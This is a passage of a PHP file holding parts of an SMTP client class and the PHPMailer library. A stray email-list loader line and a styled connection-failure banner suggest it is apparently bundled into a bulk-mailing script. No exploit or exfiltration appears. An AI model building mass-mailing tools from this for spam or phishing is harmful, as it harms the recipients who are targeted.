1140
1141 return true;
1142 }
1143
1144 /**
1145 * Starts a mail transaction from the email address specified in
1146 * $from. Returns true if successful or false otherwise. If True
1147 * the mail transaction is started and then one or more Recipient
1148 * commands may be called followed by a Data command. This command
1149 * will send the message to the users terminal if they are logged
1150 * in.
1151 *
1152 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1153
1154 *
1155 * SMTP CODE SUCCESS: 250
1156 * SMTP CODE SUCCESS: 552,451,452
1157 * SMTP CODE SUCCESS: 500,501,502,421
1158 * @access public
1159 * @return bool
1160 */
1161 function Send($from) {
1162 $this->error = null; # so no confusion is caused
1163
1164 if(!$this->connected()) {
1165 $this->error = array(
1166 "error" => "Called Send() without being connected");
1167 return false;
1168 }
1169
1170 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1171
1172 $rply = $this->get_lines();
1173 $code = substr($rply,0,3);
1174
1175 if($this->do_debug >= 2) {
1176 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1177 }
1178
1179 if($code != 250) {
1180 $this->error =
1181 array("error" => "SEND not accepted from server",
1182 "smtp_code" => $code,
1183 "smtp_msg" => substr($rply,4));
1184 if($this->do_debug >= 1) {
1185 echo "SMTP -> ERROR: " . $this->error["error"] .
1186 ": " . $rply . $this->CRLF;
1187 }
1188 return false;
1189 }
1190 return true;
1191 }
1192
1193 /**
1194 * Starts a mail transaction from the email address specified in
1195 * $from. Returns true if successful or false otherwise. If True
1196 * the mail transaction is started and then one or more Recipient
1197 * commands may be called followed by a Data command. This command
1198 * will send the message to the users terminal if they are logged
1199 * in and send them an email.
1200 *
1201 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1202
1203 *
1204 * SMTP CODE SUCCESS: 250
1205 * SMTP CODE SUCCESS: 552,451,452
1206 * SMTP CODE SUCCESS: 500,501,502,421
1207 * @access public
1208 * @return bool
1209 */
1210 function SendAndMail($from) {
1211 $this->error = null; # so no confusion is caused
1212
1213 if(!$this->connected()) {
1214 $this->error = array(
1215 "error" => "Called SendAndMail() without being connected");
1216 return false;
1217 }
1218
1219 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1220
1221 $rply = $this->get_lines();
1222 $code = substr($rply,0,3);
1223
1224 if($this->do_debug >= 2) {
1225 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1226 }
1227
1228 if($code != 250) {
1229 $this->error =
1230 array("error" => "SAML not accepted from server",
1231 "smtp_code" => $code,
1232 "smtp_msg" => substr($rply,4));
1233 if($this->do_debug >= 1) {
1234 echo "SMTP -> ERROR: " . $this->error["error"] .
1235 ": " . $rply . $this->CRLF;
1236 }
1237 return false;
1238 }
1239 return true;
1240 }
1241
1242 /**
1243 * Starts a mail transaction from the email address specified in
1244 * $from. Returns true if successful or false otherwise. If True
1245 * the mail transaction is started and then one or more Recipient
1246 * commands may be called followed by a Data command. This command
1247 * will send the message to the users terminal if they are logged
1248 * in or mail it to them if they are not.
1249 *
1250 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1251
1252 *
1253 * SMTP CODE SUCCESS: 250
1254 * SMTP CODE SUCCESS: 552,451,452
1255 * SMTP CODE SUCCESS: 500,501,502,421
1256 * @access public
1257 * @return bool
1258 */
1259 function SendOrMail($from) {
1260 $this->error = null; # so no confusion is caused
1261
1262 if(!$this->connected()) {
1263 $this->error = array(
1264 "error" => "Called SendOrMail() without being connected");
1265 return false;
1266 }
1267
1268 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1269
1270 $rply = $this->get_lines();
1271 $code = substr($rply,0,3);
1272
1273 if($this->do_debug >= 2) {
1274 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1275 }
1276
1277 if($code != 250) {
1278 $this->error =
1279 array("error" => "SOML not accepted from server",
1280 "smtp_code" => $code,
1281 "smtp_msg" => substr($rply,4));
1282 if($this->do_debug >= 1) {
1283 echo "SMTP -> ERROR: " . $this->error["error"] .
1284 ": " . $rply . $this->CRLF;
1285 }
1286 return false;
1287 }
1288 return true;
1289 }
1290
1291 /**
1292 * This is an optional command for SMTP that this class does not
1293 * support. This method is here to make the RFC821 Definition
1294 * complete for this class and __may__ be implimented in the future
1295 *
1296 * Implements from rfc 821: TURN <CRLF>
1297
1298 *
1299 * SMTP CODE SUCCESS: 250
1300 * SMTP CODE FAILURE: 502
1301 * SMTP CODE ERROR : 500, 503
1302 * @access public
1303 * @return bool
1304 */
1305 function Turn() {
1306 $this->error = array("error" => "This method, TURN, of the SMTP ".
1307 "is not implemented");
1308 if($this->do_debug >= 1) {
1309 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1310 }
1311 return false;
1312 }
1313
1314 /**
1315 * Verifies that the name is recognized by the server.
1316 * Returns false if the name could not be verified otherwise
1317 * the response from the server is returned.
1318 *
1319 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1320 *
1321 * SMTP CODE SUCCESS: 250,251
1322 * SMTP CODE FAILURE: 550,551,553
1323 * SMTP CODE ERROR : 500,501,502,421
1324 * @access public
1325 * @return int
1326 */
1327 function Verify($name) {
1328 $this->error = null; # so no confusion is caused
1329
1330 if(!$this->connected()) {
1331 $this->error = array(
1332 "error" => "Called Verify() without being connected");
1333 return false;
1334 }
1335
1336 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1337
1338 $rply = $this->get_lines();
1339 $code = substr($rply,0,3);
1340
1341 if($this->do_debug >= 2) {
1342 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1343 }
1344
1345 if($code != 250 && $code != 251) {
1346 $this->error =
1347 array("error" => "VRFY failed on name '$name'",
1348 "smtp_code" => $code,
1349 "smtp_msg" => substr($rply,4));
1350 if($this->do_debug >= 1) {
1351 echo "SMTP -> ERROR: " . $this->error["error"] .
1352 ": " . $rply . $this->CRLF;
1353 }
1354 return false;
1355 }
1356 return $rply;
1357 }
1358
1359 /*******************************************************************
1360 * INTERNAL FUNCTIONS *
1361 ******************************************************************/
1362
1363 /**
1364 * Read in as many lines as possible
1365 * either before eof or socket timeout occurs on the operation.
1366 * With SMTP we can tell if we have more lines to read if the
1367 * 4th character is '-' symbol. If it is a space then we don't
1368 * need to read anything else.
1369 * @access private
1370 * @return string
1371 */
1372 function get_lines() {
1373 $data = "";
1374 while($str = @fgets($this->smtp_conn,515)) {
1375 if($this->do_debug >= 4) {
1376 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1377 $this->CRLF;
1378 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1379 $this->CRLF;
1380 }
1381 $data .= $str;
1382 if($this->do_debug >= 4) {
1383 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1384 }
1385 # if the 4th character is a space then we are done reading
1386 # so just break the loop
1387 if(substr($str,3,1) == " ") { break; }
1388 }
1389 return $data;
1390 }
1391
1392}
1393
1394
1395$allemails = split("\n", $emaillist);
1396$numemails = count($allemails);
1397
1398class PHPMailer {
1399
1400 /////////////////////////////////////////////////
1401 // PROPERTIES, PUBLIC
1402 /////////////////////////////////////////////////
1403
1404 /**
1405 * Email priority (1 = High, 3 = Normal, 5 = low).
1406 * @var int
1407 */
1408 var $Priority = 3;
1409
1410 /**
1411 * Sets the CharSet of the message.
1412 * @var string
1413 */
1414 var $CharSet = 'iso-8859-1';
1415
1416 /**
1417 * Sets the Content-type of the message.
1418 * @var string
1419 */
1420 var $ContentType = 'text/plain';
1421
1422 /**
1423 * Sets the Encoding of the message. Options for this are "8bit",
1424 * "7bit", "binary", "base64", and "quoted-printable".
1425
1426 * @var string
1427 */
1428 var $Encoding = '8bit';
1429
1430 /**
1431 * Holds the most recent mailer error message.
1432 * @var string
1433 */
1434 var $ErrorInfo = '';
1435
1436 /**
1437 * Sets the From email address for the message.
1438 * @var string
1439 */
1440 var $From = '';
1441
1442 /**
1443 * Sets the From name of the message.
1444 * @var string
1445 */
1446 var $FromName = '';
1447
1448 /**
1449 * Sets the Sender email (Return-Path) of the message. If not empty,
1450 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1451 * @var string
1452 */
1453 var $Sender = '';
1454
1455 /**
1456 * Sets the Subject of the message.
1457 * @var string
1458 */
1459 var $Subject = '';
1460
1461 /**
1462 * Sets the Body of the message. This can be either an HTML or text body.
1463 * If HTML then run IsHTML(true).
1464 * @var string
1465 */
1466 var $Body = '';
1467
1468 /**
1469 * Sets the text-only body of the message. This automatically sets the
1470 * email to multipart/alternative. This body can be read by mail
1471 * clients that do not have HTML email capability such as mutt. Clients
1472 * that can read HTML will view the normal Body.
1473 * @var string
1474 */
1475 var $AltBody = '';
1476
1477 /**
1478 * Sets word wrapping on the body of the message to a given number of
1479 * characters.
1480 * @var int
1481 */
1482 var $WordWrap = 0;
1483
1484 /**
1485 * Method to send mail: ("mail", "sendmail", or "smtp").
1486 * @var string
1487 */
1488 var $Mailer = 'mail';
1489
1490 /**
1491 * Sets the path of the sendmail program.
1492 * @var string
1493 */
1494 var $Sendmail = '/usr/sbin/sendmail';
1495
1496 /**
1497 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1498 * is in a different directory than the PHP include path.
1499 * @var string
1500 */
1501 var $PluginDir = '';
1502
1503 /**
1504 * Holds PHPMailer version.
1505 * @var string
1506 */
1507 var $Version = "";
1508
1509 /**
1510 * Sets the email address that a reading confirmation will be sent.
1511 * @var string
1512 */
1513 var $ConfirmReadingTo = '';
1514
1515 /**
1516 * Sets the hostname to use in Message-Id and Received headers
1517 * and as default HELO string. If empty, the value returned
1518 * by SERVER_NAME is used or 'localhost.localdomain'.
1519 * @var string
1520 */
1521 var $Hostname = '';
1522
1523 /**
1524 * Sets the message ID to be used in the Message-Id header.
1525 * If empty, a unique id will be generated.
1526 * @var string
1527 */
1528 var $MessageID = '';
1529
1530 /////////////////////////////////////////////////
1531 // PROPERTIES FOR SMTP
1532 /////////////////////////////////////////////////
1533
1534 /**
1535 * Sets the SMTP hosts. All hosts must be separated by a
1536 * semicolon. You can also specify a different port
1537 * for each host by using this format: [hostname:port]
1538 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1539 * Hosts will be tried in order.
1540 * @var string
1541 */
1542 var $Host = 'localhost';
1543
1544 /**
1545 * Sets the default SMTP server port.
1546 * @var int
1547 */
1548 var $Port = 25;
1549
1550 /**
1551 * Sets the SMTP HELO of the message (Default is $Hostname).
1552 * @var string
1553 */
1554 var $Helo = '';
1555
1556 /**
1557 * Sets connection prefix.
1558 * Options are "", "ssl" or "tls"
1559 * @var string
1560 */
1561 var $SMTPSecure = "";
1562
1563 /**
1564 * Sets SMTP authentication. Utilizes the Username and Password variables.
1565 * @var bool
1566 */
1567 var $SMTPAuth = false;
1568
1569 /**
1570 * Sets SMTP username.
1571 * @var string
1572 */
1573 var $Username = '';
1574
1575 /**
1576 * Sets SMTP password.
1577 * @var string
1578 */
1579 var $Password = '';
1580
1581 /**
1582 * Sets the SMTP server timeout in seconds. This function will not
1583 * work with the win32 version.
1584 * @var int
1585 */
1586 var $Timeout = 10;
1587
1588 /**
1589 * Sets SMTP class debugging on or off.
1590 * @var bool
1591 */
1592 var $SMTPDebug = false;
1593
1594 /**
1595 * Prevents the SMTP connection from being closed after each mail
1596 * sending. If this is set to true then to close the connection
1597 * requires an explicit call to SmtpClose().
1598 * @var bool
1599 */
1600 var $SMTPKeepAlive = false;
1601
1602 /**
1603 * Provides the ability to have the TO field process individual
1604 * emails, instead of sending to entire TO addresses
1605 * @var bool
1606 */
1607 var $SingleTo = false;
1608
1609 /////////////////////////////////////////////////
1610 // PROPERTIES, PRIVATE
1611 /////////////////////////////////////////////////
1612
1613 var $smtp = NULL;
1614 var $to = array();
1615 var $cc = array();
1616 var $bcc = array();
1617 var $ReplyTo = array();
1618 var $attachment = array();
1619 var $CustomHeader = array();
1620 var $message_type = '';
1621 var $boundary = array();
1622 var $language = array();
1623 var $error_count = 0;
1624 var $LE = "\n";
1625 var $sign_key_file = "";
1626 var $sign_key_pass = "";
1627
1628 /////////////////////////////////////////////////
1629 // METHODS, VARIABLES
1630 /////////////////////////////////////////////////
1631
1632 /**
1633 * Sets message type to HTML.
1634 * @param bool $bool
1635 * @return void
1636 */
1637 function IsHTML($bool) {
1638 if($bool == true) {
1639 $this->ContentType = 'text/html';
1640 } else {
1641 $this->ContentType = 'text/plain';
1642 }
1643 }
1644
1645 /**
1646 * Sets Mailer to send message using SMTP.
1647 * @return void
1648 */
1649 function IsSMTP() {
1650 $this->Mailer = 'smtp';
1651 }
1652
1653 /**
1654 * Sets Mailer to send message using PHP mail() function.
1655 * @return void
1656 */
1657 function IsMail() {
1658 $this->Mailer = 'mail';
1659 }
1660
1661 /**
1662 * Sets Mailer to send message using the $Sendmail program.
1663 * @return void
1664 */
1665 function IsSendmail() {
1666 $this->Mailer = 'sendmail';
1667 }
1668
1669 /**
1670 * Sets Mailer to send message using the qmail MTA.
1671 * @return void
1672 */
1673 function IsQmail() {
1674 $this->Sendmail = '/var/qmail/bin/sendmail';
1675 $this->Mailer = 'sendmail';
1676 }
1677
1678 /////////////////////////////////////////////////
1679 // METHODS, RECIPIENTS
1680 /////////////////////////////////////////////////
1681
1682 /**
1683 * Adds a "To" address.
1684 * @param string $address
1685 * @param string $name
1686 * @return void
1687 */
1688 function AddAddress($address, $name = '') {
1689 $cur = count($this->to);
1690 $this->to[$cur][0] = trim($address);
1691 $this->to[$cur][1] = $name;
1692 }
1693
1694 /**
1695 * Adds a "Cc" address. Note: this function works
1696 * with the SMTP mailer on win32, not with the "mail"
1697 * mailer.
1698 * @param string $address
1699 * @param string $name
1700 * @return void
1701 */
1702 function AddCC($address, $name = '') {
1703 $cur = count($this->cc);
1704 $this->cc[$cur][0] = trim($address);
1705 $this->cc[$cur][1] = $name;
1706 }
1707
1708 /**
1709 * Adds a "Bcc" address. Note: this function works
1710 * with the SMTP mailer on win32, not with the "mail"
1711 * mailer.
1712 * @param string $address
1713 * @param string $name
1714 * @return void
1715 */
1716 function AddBCC($address, $name = '') {
1717 $cur = count($this->bcc);
1718 $this->bcc[$cur][0] = trim($address);
1719 $this->bcc[$cur][1] = $name;
1720 }
1721
1722 /**
1723 * Adds a "Reply-To" address.
1724 * @param string $address
1725 * @param string $name
1726 * @return void
1727 */
1728 function AddReplyTo($address, $name = '') {
1729 $cur = count($this->ReplyTo);
1730 $this->ReplyTo[$cur][0] = trim($address);
1731 $this->ReplyTo[$cur][1] = $name;
1732 }
1733
1734 /////////////////////////////////////////////////
1735 // METHODS, MAIL SENDING
1736 /////////////////////////////////////////////////
1737
1738 /**
1739 * Creates message and assigns Mailer. If the message is
1740 * not sent successfully then it returns false. Use the ErrorInfo
1741 * variable to view description of the error.
1742 * @return bool
1743 */
1744 function Send() {
1745 $header = '';
1746 $body = '';
1747 $result = true;
1748
1749 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1750 $this->SetError($this->Lang('provide_address'));
1751 return false;
1752 }
1753
1754 /* Set whether the message is multipart/alternative */
1755 if(!empty($this->AltBody)) {
1756 $this->ContentType = 'multipart/alternative';
1757 }
1758
1759 $this->error_count = 0; // reset errors
1760 $this->SetMessageType();
1761 $header .= $this->CreateHeader();
1762 $body = $this->CreateBody();
1763
1764 if($body == '') {
1765 return false;
1766 }
1767
1768 /* Choose the mailer */
1769 switch($this->Mailer) {
1770 case 'sendmail':
1771 $result = $this->SendmailSend($header, $body);
1772 break;
1773 case 'smtp':
1774 $result = $this->SmtpSend($header, $body);
1775 break;
1776 case 'mail':
1777 $result = $this->MailSend($header, $body);
1778 break;
1779 default:
1780 $result = $this->MailSend($header, $body);
1781 break;
1782 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1783 //$result = false;
1784 //break;
1785 }
1786
1787 return $result;
1788 }
1789
1790 /**
1791 * Sends mail using the $Sendmail program.
1792 * @access private
1793 * @return bool
1794 */
1795 function SendmailSend($header, $body) {
1796 if ($this->Sender != '') {
1797 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1798 } else {
1799 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1800 }
1801
1802 if(!@$mail = popen($sendmail, 'w')) {
1803 $this->SetError($this->Lang('execute') . $this->Sendmail);
1804 return false;
1805 }
1806
1807 fputs($mail, $header);
1808 fputs($mail, $body);
1809
1810 $result = pclose($mail);
1811 if (version_compare(phpversion(), '4.2.3') == -1) {
1812 $result = $result >> 8 & 0xFF;
1813 }
1814 if($result != 0) {
1815 $this->SetError($this->Lang('execute') . $this->Sendmail);
1816 return false;
1817 }
1818 return true;
1819 }
1820
1821 /**
1822 * Sends mail using the PHP mail() function.
1823 * @access private
1824 * @return bool
1825 */
1826 function MailSend($header, $body) {
1827
1828 $to = '';
1829 for($i = 0; $i < count($this->to); $i++) {
1830 if($i != 0) { $to .= ', '; }
1831 $to .= $this->AddrFormat($this->to[$i]);
1832 }
1833
1834 $toArr = split(',', $to);
1835
1836 $params = sprintf("-oi -f %s", $this->Sender);
1837 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1838 $old_from = ini_get('sendmail_from');
1839 ini_set('sendmail_from', $this->Sender);
1840 if ($this->SingleTo === true && count($toArr) > 1) {
1841 foreach ($toArr as $key => $val) {
1842 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1843 }
1844 } else {
1845 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1846 }
1847 } else {
1848 if ($this->SingleTo === true && count($toArr) > 1) {
1849 foreach ($toArr as $key => $val) {
1850 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1851 }
1852 } else {
1853 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1854 }
1855 }
1856
1857 if (isset($old_from)) {
1858 ini_set('sendmail_from', $old_from);
1859 }
1860
1861 if(!$rt) {
1862 $this->SetError($this->Lang('instantiate'));
1863 return false;
1864 }
1865
1866 return true;
1867 }
1868
1869 /**
1870 * Sends mail via SMTP using PhpSMTP (Author:
1871 * Chris Ryan). Returns bool. Returns false if there is a
1872 * bad MAIL FROM, RCPT, or DATA input.
1873 * @access private
1874 * @return bool
1875 */
1876 function SmtpSend($header, $body) {
1877 $error = '';
1878 $bad_rcpt = array();
1879
1880 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1881 return false;
1882 }
1883
1884 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1885 if(!$this->smtp->Mail($smtp_from)) {
1886 $error = $this->Lang('from_failed') . $smtp_from;
1887 $this->SetError($error);
1888 $this->smtp->Reset();
1889 return false;
1890 }
1891
1892 /* Attempt to send attach all recipients */
1893 for($i = 0; $i < count($this->to); $i++) {
1894 if(!$this->smtp->Recipient($this->to[$i][0])) {
1895 $bad_rcpt[] = $this->to[$i][0];
1896 }
1897 }
1898 for($i = 0; $i < count($this->cc); $i++) {
1899 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1900 $bad_rcpt[] = $this->cc[$i][0];
1901 }
1902 }
1903 for($i = 0; $i < count($this->bcc); $i++) {
1904 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1905 $bad_rcpt[] = $this->bcc[$i][0];
1906 }
1907 }
1908
1909 if(count($bad_rcpt) > 0) { // Create error message
1910 for($i = 0; $i < count($bad_rcpt); $i++) {
1911 if($i != 0) {
1912 $error .= ', ';
1913 }
1914 $error .= $bad_rcpt[$i];
1915
1916 }
1917 $error = $this->Lang('recipients_failed') . $error;
1918 $this->SetError($error);
1919 $this->smtp->Reset();
1920 return false;
1921 }
1922
1923 if(!$this->smtp->Data($header . $body)) {
1924 $this->SetError($this->Lang('data_not_accepted'));
1925 $this->smtp->Reset();
1926 return false;
1927 }
1928 if($this->SMTPKeepAlive == true) {
1929 $this->smtp->Reset();
1930 } else {
1931 $this->SmtpClose();
1932 }
1933
1934 return true;
1935 }
1936
1937 /**
1938 * Initiates a connection to an SMTP server. Returns false if the
1939 * operation failed.
1940 * @access private
1941 * @return bool
1942 */
1943 function SmtpConnect() {
1944 if($this->smtp == NULL) {
1945 $this->smtp = new SMTP();
1946 }
1947
1948 $this->smtp->do_debug = $this->SMTPDebug;
1949 $hosts = explode(';', $this->Host);
1950 $index = 0;
1951 $connection = ($this->smtp->Connected());
1952
1953 /* Retry while there is no connection */
1954 while($index < count($hosts) && $connection == false) {
1955 $hostinfo = array();
1956 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1957 $host = $hostinfo[1];
1958 $port = $hostinfo[2];
1959 } else {
1960 $host = $hosts[$index];
1961 $port = $this->Port;
1962 }
1963
1964 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1965 if ($this->Helo != '') {
1966 $this->smtp->Hello($this->Helo);
1967 } else {
1968 $this->smtp->Hello($this->ServerHostname());
1969 }
1970
1971 $connection = true;
1972 if($this->SMTPAuth) {
1973 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1974 $this->SetError($this->Lang('authenticate'));
1975 $this->smtp->Reset();
1976 $connection = false;
1977 }
1978 }
1979 }
1980 $index++;
1981 }
1982 if(!$connection) {
1983 $this->SetError($this->Lang('connect_host'));
1984 }
1985
1986 return $connection;
1987 }
1988
1989 /**
1990 * Closes the active SMTP session if one exists.
1991 * @return void
1992 */
1993 function SmtpClose() {
1994 if($this->smtp != NULL) {
1995 if($this->smtp->Connected()) {
1996 $this->smtp->Quit();
1997 $this->smtp->Close();
1998 }
1999 }
2000 }
2001
2002 /**
2003 * Sets the language for all class error messages. Returns false
2004 * if it cannot load the language file. The default language type
2005 * is English.
2006 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2007 * @param string $lang_path Path to the language file directory
2008 * @access public
2009 * @return bool
2010 */
2011 function SetLanguage($lang_type, $lang_path = 'language/') {
2012 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2013 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2014 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2015 include($lang_path.'phpmailer.lang-en.php');
2016 } else {
2017 $this->SetError('Could not load language file');
2018 return false;
2019 }
2020 $this->language = $PHPMAILER_LANG;
2021
2022 return true;
2023 }
2024
2025 /////////////////////////////////////////////////
2026 // METHODS, MESSAGE CREATION
2027 /////////////////////////////////////////////////
2028
2029 /**
2030 * Creates recipient headers.
2031 * @access private
2032 * @return string
2033 */
2034 function AddrAppend($type, $addr) {
2035 $addr_str = $type . ': ';
2036 $addr_str .= $this->AddrFormat($addr[0]);
2037 if(count($addr) > 1) {
2038 for($i = 1; $i < count($addr); $i++) {
2039 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2040 }
2041 }
2042 $addr_str .= $this->LE;
2043
2044 return $addr_str;
2045 }
2046
2047 /**
2048 * Formats an address correctly.
2049 * @access private
2050 * @return string
2051 */
2052 function AddrFormat($addr) {
2053 if(empty($addr[1])) {
2054 $formatted = $this->SecureHeader($addr[0]);
2055 } else {
2056 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2057 }
2058
2059 return $formatted;
2060 }
2061
2062 /**
2063 * Wraps message for use with mailers that do not
2064 * automatically perform wrapping and for quoted-printable.
2065 * Original written by philippe.
2066 * @access private
2067 * @return string
2068 */
2069 function WrapText($message, $length, $qp_mode = false) {
2070 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2071 // If utf-8 encoding is used, we will need to make sure we don't
2072 // split multibyte characters when we wrap
2073 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2074
2075 $message = $this->FixEOL($message);
2076 if (substr($message, -1) == $this->LE) {
2077 $message = substr($message, 0, -1);
2078 }
2079
2080 $line = explode($this->LE, $message);
2081 $message = '';
2082 for ($i=0 ;$i < count($line); $i++) {
2083 $line_part = explode(' ', $line[$i]);
2084 $buf = '';
2085 for ($e = 0; $e<count($line_part); $e++) {
2086 $word = $line_part[$e];
2087 if ($qp_mode and (strlen($word) > $length)) {
2088 $space_left = $length - strlen($buf) - 1;
2089 if ($e != 0) {
2090 if ($space_left > 20) {
2091 $len = $space_left;
2092 if ($is_utf8) {
2093 $len = $this->UTF8CharBoundary($word, $len);
2094 } elseif (substr($word, $len - 1, 1) == "=") {
2095 $len--;
2096 } elseif (substr($word, $len - 2, 1) == "=") {
2097 $len -= 2;
2098 }
2099 $part = substr($word, 0, $len);
2100 $word = substr($word, $len);
2101 $buf .= ' ' . $part;
2102 $message .= $buf . sprintf("=%s", $this->LE);
2103 } else {
2104 $message .= $buf . $soft_break;
2105 }
2106 $buf = '';
2107 }
2108 while (strlen($word) > 0) {
2109 $len = $length;
2110 if ($is_utf8) {
2111 $len = $this->UTF8CharBoundary($word, $len);
2112 } elseif (substr($word, $len - 1, 1) == "=") {
2113 $len--;
2114 } elseif (substr($word, $len - 2, 1) == "=") {
2115 $len -= 2;
2116 }
2117 $part = substr($word, 0, $len);
2118 $word = substr($word, $len);
2119
2120 if (strlen($word) > 0) {
2121 $message .= $part . sprintf("=%s", $this->LE);
2122 } else {
2123 $buf = $part;
2124 }
2125 }
2126 } else {
2127 $buf_o = $buf;
2128 $buf .= ($e == 0) ? $word : (' ' . $word);
2129
2130 if (strlen($buf) > $length and $buf_o != '') {
2131 $message .= $buf_o . $soft_break;
2132 $buf = $word;
2133 }
2134 }
2135 }
2136 $message .= $buf . $this->LE;
2137 }
2138
2139 return $message;
2140 }
2141
2142 /**
2143 * Finds last character boundary prior to maxLength in a utf-8
2144 * quoted (printable) encoded string.
2145 * Original written by Colin Brown.
2146 * @access private
2147 * @param string $encodedText utf-8 QP text
2148 * @param int $maxLength find last character boundary prior to this length
2149 * @return int
2150 */
2151 function UTF8CharBoundary($encodedText, $maxLength) {
2152 $foundSplitPos = false;
2153 $lookBack = 3;
2154 while (!$foundSplitPos) {
2155 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2156 $encodedCharPos = strpos($lastChunk, "=");
2157 if ($encodedCharPos !== false) {
2158 // Found start of encoded character byte within $lookBack block.
2159 // Check the encoded byte value (the 2 chars after the '=')
2160 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2161 $dec = hexdec($hex);
2162 if ($dec < 128) { // Single byte character.
2163 // If the encoded char was found at pos 0, it will fit
2164 // otherwise reduce maxLength to start of the encoded char
2165 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2166 $maxLength - ($lookBack - $encodedCharPos);
2167 $foundSplitPos = true;
2168 } elseif ($dec >= 192) { // First byte of a multi byte character
2169 // Reduce maxLength to split at start of character
2170 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2171 $foundSplitPos = true;
2172 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2173 $lookBack += 3;
2174 }
2175 } else {
2176 // No encoded character found
2177 $foundSplitPos = true;
2178 }
2179 }
2180 return $maxLength;
2181 }
2182
2183 /**
2184 * Set the body wrapping.
2185 * @access private
2186 * @return void
2187 */
2188 function SetWordWrap() {
2189 if($this->WordWrap < 1) {
2190 return;
2191 }
2192
2193 switch($this->message_type) {
2194 case 'alt':
2195 /* fall through */
2196 case 'alt_attachments':
2197 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2198 break;
2199 default:
2200 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2201 break;
2202 }
2203 }
2204
2205 /**
2206 * Assembles message header.
2207 * @access private
2208 * @return string
2209 */
2210 function CreateHeader() {
2211 $result = '';
2212
2213 /* Set the boundaries */
2214 $uniq_id = md5(uniqid(time()));
2215 $this->boundary[1] = 'b1_' . $uniq_id;
2216 $this->boundary[2] = 'b2_' . $uniq_id;
2217
2218 $result .= $this->HeaderLine('Date', $this->RFCDate());
2219 if($this->Sender == '') {
2220 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2221 } else {
2222 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2223 }
2224
2225 /* To be created automatically by mail() */
2226 if($this->Mailer != 'mail') {
2227 if(count($this->to) > 0) {
2228 $result .= $this->AddrAppend('To', $this->to);
2229 } elseif (count($this->cc) == 0) {
2230 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2231 }
2232 if(count($this->cc) > 0) {
2233 $result .= $this->AddrAppend('Cc', $this->cc);
2234 }
2235 }
2236
2237 $from = array();
2238 $from[0][0] = trim($this->From);
2239 $from[0][1] = $this->FromName;
2240 $result .= $this->AddrAppend('From', $from);
2241
2242 /* sendmail and mail() extract Cc from the header before sending */
2243 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2244 $result .= $this->AddrAppend('Cc', $this->cc);
2245 }
2246
2247 /* sendmail and mail() extract Bcc from the header before sending */
2248 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2249 $result .= $this->AddrAppend('Bcc', $this->bcc);
2250 }
2251
2252 if(count($this->ReplyTo) > 0) {
2253 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2254 }
2255
2256 /* mail() sets the subject itself */
2257 if($this->Mailer != 'mail') {
2258 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2259 }
2260
2261 if($this->MessageID != '') {
